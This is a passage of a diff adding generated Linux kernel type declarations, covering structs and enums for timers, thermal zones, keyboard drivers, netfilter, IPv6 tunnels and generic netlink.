pnp_mem mem; + } u; +}; + +struct pts_fs_info; + +enum vdso_clock_mode { + VDSO_CLOCKMODE_NONE = 0, + VDSO_CLOCKMODE_TSC = 1, + VDSO_CLOCKMODE_PVCLOCK = 2, + VDSO_CLOCKMODE_HVCLOCK = 3, + VDSO_CLOCKMODE_MAX = 4, + VDSO_CLOCKMODE_TIMENS = 2147483647, +}; + +struct clocksource { + u64 (*read)(struct clocksource *); + u64 mask; + u32 mult; + u32 shift; + u64 max_idle_ns; + u32 maxadj; + u32 uncertainty_margin; + u64 max_cycles; + const char *name; + struct list_head list; + int rating; + enum clocksource_ids id; + enum vdso_clock_mode vdso_clock_mode; + long unsigned int flags; + int (*enable)(struct clocksource *); + void (*disable)(struct clocksource *); + void (*suspend)(struct clocksource *); + void (*resume)(struct clocksource *); + void (*mark_unstable)(struct clocksource *); + void (*tick_stable)(struct clocksource *); + struct list_head wd_list; + u64 cs_last; + u64 wd_last; + struct module *owner; +}; + +typedef int (*acpi_op_add)(struct acpi_device *); + +typedef void (*acpi_op_remove)(struct acpi_device *); + +typedef void (*acpi_op_notify)(struct acpi_device *, u32); + +struct acpi_device_ops { + acpi_op_add add; + acpi_op_remove remove; + acpi_op_notify notify; +}; + +struct acpi_driver { + char name[80]; + char class[80]; + const struct acpi_device_id *ids; + unsigned int flags; + struct acpi_device_ops ops; + struct device_driver drv; + struct module *owner; +}; + +struct hpet_info { + long unsigned int hi_ireqfreq; + long unsigned int hi_flags; + short unsigned int hi_hpet; + short unsigned int hi_timer; +}; + +struct hpet_timer { + u64 hpet_config; + union { + u64 _hpet_hc64; + u32 _hpet_hc32; + long unsigned int _hpet_compare; + } _u1; + u64 hpet_fsb[2]; +}; + +struct hpet { + u64 hpet_cap; + u64 res0; + u64 hpet_config; + u64 res1; + u64 hpet_isr; + u64 res2[25]; + union { + u64 _hpet_mc64; + u32 _hpet_mc32; + long unsigned int _hpet_mc; + } _u0; + u64 res3; + struct hpet_timer hpet_timers[0]; +}; + +struct hpet_data { + long unsigned int hd_phys_address; + void *hd_address; + short unsigned int hd_nirqs; + unsigned int hd_state; + unsigned int hd_irq[32]; +}; + +struct hpets; + +struct hpet_dev { + struct hpets *hd_hpets; + struct hpet *hd_hpet; + struct hpet_timer *hd_timer; + long unsigned int hd_ireqfreq; + long unsigned int hd_irqdata; + wait_queue_head_t hd_waitqueue; + struct fasync_struct *hd_async_queue; + unsigned int hd_flags; + unsigned int hd_irq; + unsigned int hd_hdwirq; + char hd_name[7]; +}; + +struct hpets { + struct hpets *hp_next; + struct hpet *hp_hpet; + long unsigned int hp_hpet_phys; + struct clocksource *hp_clocksource; + long long unsigned int hp_tick_freq; + long unsigned int hp_delta; + unsigned int hp_ntimer; + unsigned int hp_which; + struct hpet_dev hp_dev[0]; +}; + +struct acpi_table_tpm2 { + struct acpi_table_header header; + u16 platform_class; + u16 reserved; + u64 control_address; + u32 start_method; +} __attribute__((packed)); + +struct acpi_tpm2_phy { + u8 start_method_specific[12]; + u32 log_area_minimum_length; + u64 log_area_start_address; +}; + +enum bios_platform_class { + BIOS_CLIENT = 0, + BIOS_SERVER = 1, +}; + +struct client_hdr { + u32 log_max_len; + u64 log_start_addr; +} __attribute__((packed)); + +struct server_hdr { + u16 reserved; + u64 log_max_len; + u64 log_start_addr; +} __attribute__((packed)); + +struct acpi_tcpa { + struct acpi_table_header hdr; + u16 platform_class; + union { + struct client_hdr client; + struct server_hdr server; + }; +}; + +struct slave_attribute { + struct attribute attr; + ssize_t (*show)(struct slave *, char *); +}; + +struct serio_device_id { + __u8 type; + __u8 extra; + __u8 id; + __u8 proto; +}; + +struct serio_driver; + +struct serio { + void *port_data; + char name[32]; + char phys[32]; + char firmware_id[128]; + bool manual_bind; + struct serio_device_id id; + spinlock_t lock; + int (*write)(struct serio *, unsigned char); + int (*open)(struct serio *); + void (*close)(struct serio *); + int (*start)(struct serio *); + void (*stop)(struct serio *); + struct serio *parent; + struct list_head child_node; + struct list_head children; + unsigned int depth; + struct serio_driver *drv; + struct mutex drv_mutex; + struct device dev; + struct list_head node; + struct mutex *ps2_cmd_mutex; +}; + +struct serio_driver { + const char *description; + const struct serio_device_id *id_table; + bool manual_bind; + void (*write_wakeup)(struct serio *); + irqreturn_t (*interrupt)(struct serio *, unsigned char, unsigned int); + int (*connect)(struct serio *, struct serio_driver *); + int (*reconnect)(struct serio *); + int (*fast_reconnect)(struct serio *); + void (*disconnect)(struct serio *); + void (*cleanup)(struct serio *); + struct device_driver driver; +}; + +struct serport { + struct tty_struct *tty; + wait_queue_head_t wait; + struct serio *serio; + struct serio_device_id id; + spinlock_t lock; + long unsigned int flags; +}; + +struct vivaldi_data { + u32 function_row_physmap[24]; + unsigned int num_function_row_keys; +}; + +struct ps2dev { + struct serio *serio; + struct mutex cmd_mutex; + wait_queue_head_t wait; + long unsigned int flags; + u8 cmdbuf[8]; + u8 cmdcnt; + u8 nak; +}; + +struct atkbd { + struct ps2dev ps2dev; + struct input_dev *dev; + char name[64]; + char phys[32]; + short unsigned int id; + short unsigned int keycode[512]; + long unsigned int force_release_mask[8]; + unsigned char set; + bool translated; + bool extra; + bool write; + bool softrepeat; + bool softraw; + bool scroll; + bool enabled; + unsigned char emul; + bool resend; + bool release; + long unsigned int xl_bit; + unsigned int last; + long unsigned int time; + long unsigned int err_count; + struct delayed_work event_work; + long unsigned int event_jiffies; + long unsigned int event_mask; + struct mutex mutex; + struct vivaldi_data vdata; +}; + +enum thermal_device_mode { + THERMAL_DEVICE_DISABLED = 0, + THERMAL_DEVICE_ENABLED = 1, +}; + +enum thermal_trip_type { + THERMAL_TRIP_ACTIVE = 0, + THERMAL_TRIP_PASSIVE = 1, + THERMAL_TRIP_HOT = 2, + THERMAL_TRIP_CRITICAL = 3, +}; + +enum thermal_trend { + THERMAL_TREND_STABLE = 0, + THERMAL_TREND_RAISING = 1, + THERMAL_TREND_DROPPING = 2, +}; + +enum thermal_notify_event { + THERMAL_EVENT_UNSPECIFIED = 0, + THERMAL_EVENT_TEMP_SAMPLE = 1, + THERMAL_TRIP_VIOLATED = 2, + THERMAL_TRIP_CHANGED = 3, + THERMAL_DEVICE_DOWN = 4, + THERMAL_DEVICE_UP = 5, + THERMAL_DEVICE_POWER_CAPABILITY_CHANGED = 6, + THERMAL_TABLE_CHANGED = 7, + THERMAL_EVENT_KEEP_ALIVE = 8, +}; + +struct thermal_zone_device; + +struct thermal_zone_device_ops { + int (*bind)(struct thermal_zone_device *, struct thermal_cooling_device *); + int (*unbind)(struct thermal_zone_device *, struct thermal_cooling_device *); + int (*get_temp)(struct thermal_zone_device *, int *); + int (*set_trips)(struct thermal_zone_device *, int, int); + int (*change_mode)(struct thermal_zone_device *, enum thermal_device_mode); + int (*get_trip_type)(struct thermal_zone_device *, int, enum thermal_trip_type *); + int (*get_trip_temp)(struct thermal_zone_device *, int, int *); + int (*set_trip_temp)(struct thermal_zone_device *, int, int); + int (*get_trip_hyst)(struct thermal_zone_device *, int, int *); + int (*set_trip_hyst)(struct thermal_zone_device *, int, int); + int (*get_crit_temp)(struct thermal_zone_device *, int *); + int (*set_emul_temp)(struct thermal_zone_device *, int); + int (*get_trend)(struct thermal_zone_device *, int, enum thermal_trend *); + void (*hot)(struct thermal_zone_device *); + void (*critical)(struct thermal_zone_device *); +}; + +struct thermal_attr; + +struct thermal_trip; + +struct thermal_zone_params; + +struct thermal_governor; + +struct thermal_zone_device { + int id; + char type[20]; + struct device device; + struct attribute_group trips_attribute_group; + struct thermal_attr *trip_temp_attrs; + struct thermal_attr *trip_type_attrs; + struct thermal_attr *trip_hyst_attrs; + enum thermal_device_mode mode; + void *devdata; + struct thermal_trip *trips; + int num_trips; + long unsigned int trips_disabled; + long unsigned int passive_delay_jiffies; + long unsigned int polling_delay_jiffies; + int temperature; + int last_temperature; + int emul_temperature; + int passive; + int prev_low_trip; + int prev_high_trip; + atomic_t need_update; + struct thermal_zone_device_ops *ops; + struct thermal_zone_params *tzp; + struct thermal_governor *governor; + void *governor_data; + struct list_head thermal_instances; + struct ida ida; + struct mutex lock; + struct list_head node; + struct delayed_work poll_queue; + enum thermal_notify_event notify_event; +}; + +struct thermal_cooling_device_ops; + +struct thermal_cooling_device { + int id; + char *type; + long unsigned int max_state; + struct device device; + struct device_node *np; + void *devdata; + void *stats; + const struct thermal_cooling_device_ops *ops; + bool updated; + struct mutex lock; + struct list_head thermal_instances; + struct list_head node; +}; + +struct thermal_trip { + int temperature; + int hysteresis; + enum thermal_trip_type type; +}; + +struct thermal_cooling_device_ops { + int (*get_max_state)(struct thermal_cooling_device *, long unsigned int *); + int (*get_cur_state)(struct thermal_cooling_device *, long unsigned int *); + int (*set_cur_state)(struct thermal_cooling_device *, long unsigned int); + int (*get_requested_power)(struct thermal_cooling_device *, u32 *); + int (*state2power)(struct thermal_cooling_device *, long unsigned int, u32 *); + int (*power2state)(struct thermal_cooling_device *, u32, long unsigned int *); +}; + +struct thermal_attr { + struct device_attribute attr; + char name[20]; +}; + +struct thermal_zone_params { + char governor_name[20]; + bool no_hwmon; + u32 sustainable_power; + s32 k_po; + s32 k_pu; + s32 k_i; + s32 k_d; + s32 integral_cutoff; + int slope; + int offset; +}; + +struct thermal_governor { + char name[20]; + int (*bind_to_tz)(struct thermal_zone_device *); + void (*unbind_from_tz)(struct thermal_zone_device *); + int (*throttle)(struct thermal_zone_device *, int); + struct list_head governor_list; +}; + +struct trace_event_raw_thermal_temperature { + struct trace_entry ent; + u32 __data_loc_thermal_zone; + int id; + int temp_prev; + int temp; + char __data[0]; +}; + +struct trace_event_raw_cdev_update { + struct trace_entry ent; + u32 __data_loc_type; + long unsigned int target; + char __data[0]; +}; + +struct trace_event_raw_thermal_zone_trip { + struct trace_entry ent; + u32 __data_loc_thermal_zone; + int id; + int trip; + enum thermal_trip_type trip_type; + char __data[0]; +}; + +struct trace_event_data_offsets_thermal_temperature { + u32 thermal_zone; +}; + +struct trace_event_data_offsets_cdev_update { + u32 type; +}; + +struct trace_event_data_offsets_thermal_zone_trip { + u32 thermal_zone; +}; + +typedef void (*btf_trace_thermal_temperature)(void *, struct thermal_zone_device *); + +typedef void (*btf_trace_cdev_update)(void *, struct thermal_cooling_device *, long unsigned int); + +typedef void (*btf_trace_thermal_zone_trip)(void *, struct thermal_zone_device *, int, enum thermal_trip_type); + +struct thermal_instance { + int id; + char name[20]; + struct thermal_zone_device *tz; + struct thermal_cooling_device *cdev; + int trip; + bool initialized; + long unsigned int upper; + long unsigned int lower; + long unsigned int target; + char attr_name[20]; + struct device_attribute attr; + char weight_attr_name[20]; + struct device_attribute weight_attr; + struct list_head tz_node; + struct list_head cdev_node; + unsigned int weight; + bool upper_no_limit; +}; + +struct quirks_list_struct { + struct hid_device_id hid_bl_item; + struct list_head node; +}; + +struct powercap_control_type; + +struct powercap_control_type_ops { + int (*set_enable)(struct powercap_control_type *, bool); + int (*get_enable)(struct powercap_control_type *, bool *); + int (*release)(struct powercap_control_type *); +}; + +struct powercap_control_type { + struct device dev; + struct idr idr; + int nr_zones; + const struct powercap_control_type_ops *ops; + struct mutex lock; + bool allocated; + struct list_head node; +}; + +struct powercap_zone; + +struct powercap_zone_ops { + int (*get_max_energy_range_uj)(struct powercap_zone *, u64 *); + int (*get_energy_uj)(struct powercap_zone *, u64 *); + int (*reset_energy_uj)(struct powercap_zone *); + int (*get_max_power_range_uw)(struct powercap_zone *, u64 *); + int (*get_power_uw)(struct powercap_zone *, u64 *); + int (*set_enable)(struct powercap_zone *, bool); + int (*get_enable)(struct powercap_zone *, bool *); + int (*release)(struct powercap_zone *); +}; + +struct powercap_zone_constraint; + +struct powercap_zone { + int id; + char *name; + void *control_type_inst; + const struct powercap_zone_ops *ops; + struct device dev; + int const_id_cnt; + struct idr idr; + struct idr *parent_idr; + void *private_data; + struct attribute **zone_dev_attrs; + int zone_attr_count; + struct attribute_group dev_zone_attr_group; + const struct attribute_group *dev_attr_groups[2]; + bool allocated; + struct powercap_zone_constraint *constraints; +}; + +struct powercap_zone_constraint_ops; + +struct powercap_zone_constraint { + int id; + struct powercap_zone *power_zone; + const struct powercap_zone_constraint_ops *ops; +}; + +struct powercap_zone_constraint_ops { + int (*set_power_limit_uw)(struct powercap_zone *, int, u64); + int (*get_power_limit_uw)(struct powercap_zone *, int, u64 *); + int (*set_time_window_us)(struct powercap_zone *, int, u64); + int (*get_time_window_us)(struct powercap_zone *, int, u64 *); + int (*get_max_power_uw)(struct powercap_zone *, int, u64 *); + int (*get_min_power_uw)(struct powercap_zone *, int, u64 *); + int (*get_max_time_window_us)(struct powercap_zone *, int, u64 *); + int (*get_min_time_window_us)(struct powercap_zone *, int, u64 *); + const char * (*get_name)(struct powercap_zone *, int); +}; + +struct powercap_constraint_attr { + struct device_attribute power_limit_attr; + struct device_attribute time_window_attr; + struct device_attribute max_power_attr; + struct device_attribute min_power_attr; + struct device_attribute max_time_window_attr; + struct device_attribute min_time_window_attr; + struct device_attribute name_attr; +}; + +typedef __kernel_long_t __kernel_old_time_t; + +struct __kernel_old_timespec { + __kernel_old_time_t tv_sec; + long int tv_nsec; +}; + +struct cmsghdr { + __kernel_size_t cmsg_len; + int cmsg_level; + int cmsg_type; +}; + +struct ucred { + __u32 pid; + __u32 uid; + __u32 gid; +}; + +struct scm_timestamping_internal { + struct timespec64 ts[3]; +}; + +struct scm_fp_list { + short int count; + short int max; + struct user_struct *user; + struct file *fp[253]; +}; + +struct scm_cookie { + struct pid *pid; + struct scm_fp_list *fp; + struct scm_creds creds; + u32 secid; +}; + +struct scm_timestamping { + struct __kernel_old_timespec ts[3]; +}; + +struct scm_timestamping64 { + struct __kernel_timespec ts[3]; +}; + +struct css_task_iter { + struct cgroup_subsys *ss; + unsigned int flags; + struct list_head *cset_pos; + struct list_head *cset_head; + struct list_head *tcset_pos; + struct list_head *tcset_head; + struct list_head *task_pos; + struct list_head *cur_tasks_head; + struct css_set *cur_cset; + struct css_set *cur_dcset; + struct task_struct *cur_task; + struct list_head iters_node; +}; + +struct cgroup_cls_state { + struct cgroup_subsys_state css; + u32 classid; +}; + +struct update_classid_context { + u32 classid; + unsigned int batch; +}; + +enum net_xmit_qdisc_t { + __NET_XMIT_STOLEN = 65536, + __NET_XMIT_BYPASS = 131072, +}; + +enum nf_hook_ops_type { + NF_HOOK_OP_UNDEFINED = 0, + NF_HOOK_OP_NF_TABLES = 1, + NF_HOOK_OP_BPF = 2, +}; + +struct nf_hook_ops { + nf_hookfn *hook; + struct net_device *dev; + void *priv; + u8 pf; + enum nf_hook_ops_type hook_ops_type: 8; + unsigned int hooknum; + int priority; +}; + +enum nf_ip_hook_priorities { + NF_IP_PRI_FIRST = -2147483648, + NF_IP_PRI_RAW_BEFORE_DEFRAG = -450, + NF_IP_PRI_CONNTRACK_DEFRAG = -400, + NF_IP_PRI_RAW = -300, + NF_IP_PRI_SELINUX_FIRST = -225, + NF_IP_PRI_CONNTRACK = -200, + NF_IP_PRI_MANGLE = -150, + NF_IP_PRI_NAT_DST = -100, + NF_IP_PRI_FILTER = 0, + NF_IP_PRI_SECURITY = 50, + NF_IP_PRI_NAT_SRC = 100, + NF_IP_PRI_SELINUX_LAST = 225, + NF_IP_PRI_CONNTRACK_HELPER = 300, + NF_IP_PRI_CONNTRACK_CONFIRM = 2147483647, + NF_IP_PRI_LAST = 2147483647, +}; + +struct nf_ct_iter_data { + struct net *net; + void *data; + u32 portid; + int report; +}; + +struct nf_ct_bridge_info { + struct nf_hook_ops *ops; + unsigned int ops_size; + struct module *me; +}; + +struct nf_loginfo { + u_int8_t type; + union { + struct { + u_int32_t copy_len; + u_int16_t group; + u_int16_t qthreshold; + u_int16_t flags; + } ulog; + struct { + u_int8_t level; + u_int8_t logflags; + } log; + } u; +}; + +enum nf_ip6_hook_priorities { + NF_IP6_PRI_FIRST = -2147483648, + NF_IP6_PRI_RAW_BEFORE_DEFRAG = -450, + NF_IP6_PRI_CONNTRACK_DEFRAG = -400, + NF_IP6_PRI_RAW = -300, + NF_IP6_PRI_SELINUX_FIRST = -225, + NF_IP6_PRI_CONNTRACK = -200, + NF_IP6_PRI_MANGLE = -150, + NF_IP6_PRI_NAT_DST = -100, + NF_IP6_PRI_FILTER = 0, + NF_IP6_PRI_SECURITY = 50, + NF_IP6_PRI_NAT_SRC = 100, + NF_IP6_PRI_SELINUX_LAST = 225, + NF_IP6_PRI_CONNTRACK_HELPER = 300, + NF_IP6_PRI_LAST = 2147483647, +}; + +struct nf_queue_entry; + +struct nf_ipv6_ops { + void (*route_input)(struct sk_buff *); + int (*fragment)(struct net *, struct sock *, struct sk_buff *, int (*)(struct net *, struct sock *, struct sk_buff *)); + int (*reroute)(struct sk_buff *, const struct nf_queue_entry *); +}; + +struct nf_queue_entry { + struct list_head list; + struct sk_buff *skb; + unsigned int id; + unsigned int hook_index; + struct nf_hook_state state; + u16 size; +}; + +struct inet_timewait_sock { + struct sock_common __tw_common; + __u32 tw_mark; + volatile unsigned char tw_substate; + unsigned char tw_rcv_wscale; + __be16 tw_sport; + unsigned int tw_transparent: 1; + unsigned int tw_flowlabel: 20; + unsigned int tw_pad: 3; + unsigned int tw_tos: 8; + u32 tw_txhash; + u32 tw_priority; + struct timer_list tw_timer; + struct inet_bind_bucket *tw_tb; + struct inet_bind2_bucket *tw_tb2; + struct hlist_node tw_bind2_node; +}; + +struct bpf_sk_lookup_kern { + u16 family; + u16 protocol; + __be16 sport; + u16 dport; + struct { + __be32 saddr; + __be32 daddr; + } v4; + struct { + const struct in6_addr *saddr; + const struct in6_addr *daddr; + } v6; + struct sock *selected_sk; + u32 ingress_ifindex; + bool no_reuseport; +}; + +enum lwtunnel_ip_t { + LWTUNNEL_IP_UNSPEC = 0, + LWTUNNEL_IP_ID = 1, + LWTUNNEL_IP_DST = 2, + LWTUNNEL_IP_SRC = 3, + LWTUNNEL_IP_TTL = 4, + LWTUNNEL_IP_TOS = 5, + LWTUNNEL_IP_FLAGS = 6, + LWTUNNEL_IP_PAD = 7, + LWTUNNEL_IP_OPTS = 8, + __LWTUNNEL_IP_MAX = 9, +}; + +enum lwtunnel_ip6_t { + LWTUNNEL_IP6_UNSPEC = 0, + LWTUNNEL_IP6_ID = 1, + LWTUNNEL_IP6_DST = 2, + LWTUNNEL_IP6_SRC = 3, + LWTUNNEL_IP6_HOPLIMIT = 4, + LWTUNNEL_IP6_TC = 5, + LWTUNNEL_IP6_FLAGS = 6, + LWTUNNEL_IP6_PAD = 7, + LWTUNNEL_IP6_OPTS = 8, + __LWTUNNEL_IP6_MAX = 9, +}; + +enum { + LWTUNNEL_IP_OPTS_UNSPEC = 0, + LWTUNNEL_IP_OPTS_GENEVE = 1, + LWTUNNEL_IP_OPTS_VXLAN = 2, + LWTUNNEL_IP_OPTS_ERSPAN = 3, + __LWTUNNEL_IP_OPTS_MAX = 4, +}; + +enum { + LWTUNNEL_IP_OPT_GENEVE_UNSPEC = 0, + LWTUNNEL_IP_OPT_GENEVE_CLASS = 1, + LWTUNNEL_IP_OPT_GENEVE_TYPE = 2, + LWTUNNEL_IP_OPT_GENEVE_DATA = 3, + __LWTUNNEL_IP_OPT_GENEVE_MAX = 4, +}; + +enum { + LWTUNNEL_IP_OPT_VXLAN_UNSPEC = 0, + LWTUNNEL_IP_OPT_VXLAN_GBP = 1, + __LWTUNNEL_IP_OPT_VXLAN_MAX = 2, +}; + +enum { + LWTUNNEL_IP_OPT_ERSPAN_UNSPEC = 0, + LWTUNNEL_IP_OPT_ERSPAN_VER = 1, + LWTUNNEL_IP_OPT_ERSPAN_INDEX = 2, + LWTUNNEL_IP_OPT_ERSPAN_DIR = 3, + LWTUNNEL_IP_OPT_ERSPAN_HWID = 4, + __LWTUNNEL_IP_OPT_ERSPAN_MAX = 5, +}; + +struct lwtunnel_encap_ops { + int (*build_state)(struct net *, struct nlattr *, unsigned int, const void *, struct lwtunnel_state **, struct netlink_ext_ack *); + void (*destroy_state)(struct lwtunnel_state *); + int (*output)(struct net *, struct sock *, struct sk_buff *); + int (*input)(struct sk_buff *); + int (*fill_encap)(struct sk_buff *, struct lwtunnel_state *); + int (*get_encap_size)(struct lwtunnel_state *); + int (*cmp_encap)(struct lwtunnel_state *, struct lwtunnel_state *); + int (*xmit)(struct sk_buff *); + struct module *owner; +}; + +struct icmphdr { + __u8 type; + __u8 code; + __sum16 checksum; + union { + struct { + __be16 id; + __be16 sequence; + } echo; + __be32 gateway; + struct { + __be16 __unused; + __be16 mtu; + } frag; + __u8 reserved[4]; + } un; +}; + +struct icmp_err { + int errno; + unsigned int fatal: 1; +}; + +enum { + IFLA_IPTUN_UNSPEC = 0, + IFLA_IPTUN_LINK = 1, + IFLA_IPTUN_LOCAL = 2, + IFLA_IPTUN_REMOTE = 3, + IFLA_IPTUN_TTL = 4, + IFLA_IPTUN_TOS = 5, + IFLA_IPTUN_ENCAP_LIMIT = 6, + IFLA_IPTUN_FLOWINFO = 7, + IFLA_IPTUN_FLAGS = 8, + IFLA_IPTUN_PROTO = 9, + IFLA_IPTUN_PMTUDISC = 10, + IFLA_IPTUN_6RD_PREFIX = 11, + IFLA_IPTUN_6RD_RELAY_PREFIX = 12, + IFLA_IPTUN_6RD_PREFIXLEN = 13, + IFLA_IPTUN_6RD_RELAY_PREFIXLEN = 14, + IFLA_IPTUN_ENCAP_TYPE = 15, + IFLA_IPTUN_ENCAP_FLAGS = 16, + IFLA_IPTUN_ENCAP_SPORT = 17, + IFLA_IPTUN_ENCAP_DPORT = 18, + IFLA_IPTUN_COLLECT_METADATA = 19, + IFLA_IPTUN_FWMARK = 20, + __IFLA_IPTUN_MAX = 21, +}; + +struct ip6_tnl_encap_ops { + size_t (*encap_hlen)(struct ip_tunnel_encap *); + int (*build_header)(struct sk_buff *, struct ip_tunnel_encap *, u8 *, struct flowi6 *); + int (*err_handler)(struct sk_buff *, struct inet6_skb_parm *, u8, u8, int, __be32); +}; + +struct geneve_opt { + __be16 opt_class; + u8 type; + u8 length: 5; + u8 r3: 1; + u8 r2: 1; + u8 r1: 1; + u8 opt_data[0]; +}; + +struct vxlan_metadata { + u32 gbp; +}; + +struct erspan_md2 { + __be32 timestamp; + __be16 sgt; + __u8 hwid_upper: 2; + __u8 ft: 5; + __u8 p: 1; + __u8 o: 1; + __u8 gra: 2; + __u8 dir: 1; + __u8 hwid: 4; +}; + +struct erspan_metadata { + int version; + union { + __be32 index; + struct erspan_md2 md2; + } u; +}; + +struct tls_cipher_size_desc { + unsigned int iv; + unsigned int key; + unsigned int salt; + unsigned int tag; + unsigned int rec_seq; +}; + +struct ifaddrlblmsg { + __u8 ifal_family; + __u8 __ifal_reserved; + __u8 ifal_prefixlen; + __u8 ifal_flags; + __u32 ifal_index; + __u32 ifal_seq; +}; + +enum { + IFAL_ADDRESS = 1, + IFAL_LABEL = 2, + __IFAL_MAX = 3, +}; + +struct ip6addrlbl_entry { + struct in6_addr prefix; + int prefixlen; + int ifindex; + int addrtype; + u32 label; + struct hlist_node list; + struct callback_head rcu; +}; + +struct ip6addrlbl_init_table { + const struct in6_addr *prefix; + int prefixlen; + u32 label; +}; + +struct rhashtable_walker { + struct list_head list; + struct bucket_table *tbl; +}; + +struct rhashtable_iter { + struct rhashtable *ht; + struct rhash_head *p; + struct rhlist_head *list; + struct rhashtable_walker walker; + unsigned int slot; + unsigned int skip; + bool end_of_table; +}; + +struct ioam6_trace_hdr { + __be16 namespace_id; + char: 2; + __u8 overflow: 1; + __u8 nodelen: 5; + __u8 remlen: 7; + union { + __be32 type_be32; + struct { + __u32 bit7: 1; + __u32 bit6: 1; + __u32 bit5: 1; + __u32 bit4: 1; + __u32 bit3: 1; + __u32 bit2: 1; + __u32 bit1: 1; + __u32 bit0: 1; + __u32 bit15: 1; + __u32 bit14: 1; + __u32 bit13: 1; + __u32 bit12: 1; + __u32 bit11: 1; + __u32 bit10: 1; + __u32 bit9: 1; + __u32 bit8: 1; + __u32 bit23: 1; + __u32 bit22: 1; + __u32 bit21: 1; + __u32 bit20: 1; + __u32 bit19: 1; + __u32 bit18: 1; + __u32 bit17: 1; + __u32 bit16: 1; + } type; + }; + __u8 data[0]; +}; + +enum { + IOAM6_ATTR_UNSPEC = 0, + IOAM6_ATTR_NS_ID = 1, + IOAM6_ATTR_NS_DATA = 2, + IOAM6_ATTR_NS_DATA_WIDE = 3, + IOAM6_ATTR_SC_ID = 4, + IOAM6_ATTR_SC_DATA = 5, + IOAM6_ATTR_SC_NONE = 6, + IOAM6_ATTR_PAD = 7, + __IOAM6_ATTR_MAX = 8, +}; + +enum { + IOAM6_CMD_UNSPEC = 0, + IOAM6_CMD_ADD_NAMESPACE = 1, + IOAM6_CMD_DEL_NAMESPACE = 2, + IOAM6_CMD_DUMP_NAMESPACES = 3, + IOAM6_CMD_ADD_SCHEMA = 4, + IOAM6_CMD_DEL_SCHEMA = 5, + IOAM6_CMD_DUMP_SCHEMAS = 6, + IOAM6_CMD_NS_SET_SCHEMA = 7, + __IOAM6_CMD_MAX = 8, +}; + +struct ioam6_pernet_data { + struct mutex lock; + struct rhashtable namespaces; + struct rhashtable schemas; +}; + +struct genl_multicast_group { + char name[16]; + u8 flags; +}; + +struct genl_split_ops; + +struct genl_ops; + +struct genl_small_ops; + +struct genl_family { + unsigned int hdrsize; + char name[16]; + unsigned int version; + unsigned int maxattr; + u8 netnsok: 1; + u8 parallel_ops: 1; + u8 n_ops; + u8 n_small_ops; + u8 n_split_ops; + u8 n_mcgrps; + u8 resv_start_op; + const struct nla_policy *policy; + int (*pre_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); + void (*post_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); + const struct genl_ops *ops; + const struct genl_small_ops *small_ops; + const struct genl_split_ops *split_ops; + const struct genl_multicast_group *mcgrps; + struct module *module; + int id; + unsigned int mcgrp_offset; +}; + +struct genl_split_ops { + union { + struct { + int (*pre_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); + int (*doit)(struct sk_buff *, struct genl_info *); + void (*post_doit)(const struct genl_split_ops *, struct sk_buff *, struct genl_info *); + }; + struct { + int (*start)(struct netlink_callback *); + int (*dumpit)(struct sk_buff *, struct netlink_callback *); + int (*done)(struct netlink_callback *); + }; + }; + const struct nla_policy *policy; + unsigned int maxattr; + u8 cmd; + u8 internal_flags; + u8 flags; + u8 validate; +}; + +struct genl_ops { + int (*doit)(struct sk_buff *, struct genl_info *); + int (*start)(struct netlink_callback *); + int (*dumpit)(struct sk_buff *, struct netlink_callback *); + int (*done)(struct netlink_callback *); + const struct nla_policy *policy; + unsigned int maxattr; + u8 cmd; + u8 internal_flags; + u8 flags; + u8 validate; +}; + +struct genl_small_ops { + int (*doit)(struct sk_buff *, struct genl_info *); + int (*dumpit)(struct sk_buff *, struct netlink_callback *); + u8 cmd; + u8 internal_flags; + u8 flags; + u8 validate; +}; + +enum genl_validate_flags { + GENL_DONT_VALIDATE_STRICT = 1, + GENL_DONT_VALIDATE_DUMP = 2, + GENL_DONT_VALIDATE_DUMP_STRICT = 4, +}; + +struct ioam6_schema; + +struct ioam6_namespace { + struct rhash_head head; + struct callback_head rcu; + struct ioam6_schema *schema; + __be16 id; + __be32 data; + __be64 data_wide; +}; + +struct ioam6_schema { + struct rhash_head head; + struct callback_head rcu; + struct ioam6_namespace *ns; + u32 id; + int len; + __be32 hdr; + u8 data[0]; +}; + +struct frag_hdr { + __u8 nexthdr; + __u8 reserved; + __be16 frag_off; + __be32 identification; +}; + +enum tunnel_encap_types { + TUNNEL_ENCAP_NONE = 0, + TUNNEL_ENCAP_FOU = 1, + TUNNEL_ENCAP_GUE = 2, + TUNNEL_ENCAP_MPLS = 3, +}; + +struct gro_cell; + +struct gro_cells { + struct gro_cell *cells; +}; + +struct tnl_ptk_info { + __be16 flags; + __be16 proto; + __be32 key; + __be32 seq; + int hdr_len; +}; + +struct ip6_tnl_parm { + char name[16]; + int link; + __u8 proto; + __u8 encap_limit; + __u8 hop_limit; + __be32 flowinfo; + __u32 flags; + struct in6_addr laddr; + struct in6_addr raddr; +}; + +struct __ip6_tnl_parm { + char name[16]; + int link; + __u8 proto; + __u8 encap_limit; + __u8 hop_limit; + bool collect_md; + __be32 flowinfo; + __u32 flags; + struct in6_addr laddr; + struct in6_addr raddr; + __be16 i_flags; + __be16 o_flags; + __be32 i_key; + __be32 o_key; + __u32 fwmark; + __u32 index; + __u8 erspan_ver; + __u8 dir; + __u16 hwid; +}; + +struct ip6_tnl { + struct ip6_tnl *next; + struct net_device *dev; + netdevice_tracker dev_tracker; + struct net *net; + struct __ip6_tnl_parm parms; + struct flowi fl; + struct dst_cache dst_cache; + struct gro_cells gro_cells; + int err_count; + long unsigned int err_time; + __u32 i_seqno; + atomic_t o_seqno; + int hlen; + int tun_hlen; + int encap_hlen; + struct ip_tunnel_encap encap; + int mlink; +}; + +struct ipv6_tlv_tnl_enc_lim { + __u8 type; + __u8 length; + __u8 encap_limit; +}; + +struct xfrm6_tunnel { + int (*handler)(struct sk_buff *); + int (*cb_handler)(struct sk_buff *, int); + int (*err_handler)(struct sk_buff *, struct inet6_skb_parm *, u8, u8, int, __be32); + struct xfrm6_tunnel *next; + int priority; +}; + +struct ip6_tnl_net { + struct net_device *fb_tnl_dev; + struct ip6_tnl *tnls_r_l[32]; + struct ip6_tnl *tnls_wc[1]; + struct ip6_tnl **tnls[2]; + struct ip6_tnl *collect_md_tun; +}; + +struct ipv6_tel_txoption { + struct ipv6_txoptions ops; + __u8 dst_opt[8]; +}; + +struct posix_acl_entry { + short int e_tag; + short unsigned int e_perm; + union { + kuid_t e_uid; + kgid_t e_gid; + }; +}; + +struct posix_acl { + refcount_t a_refcount; + struct callback_head 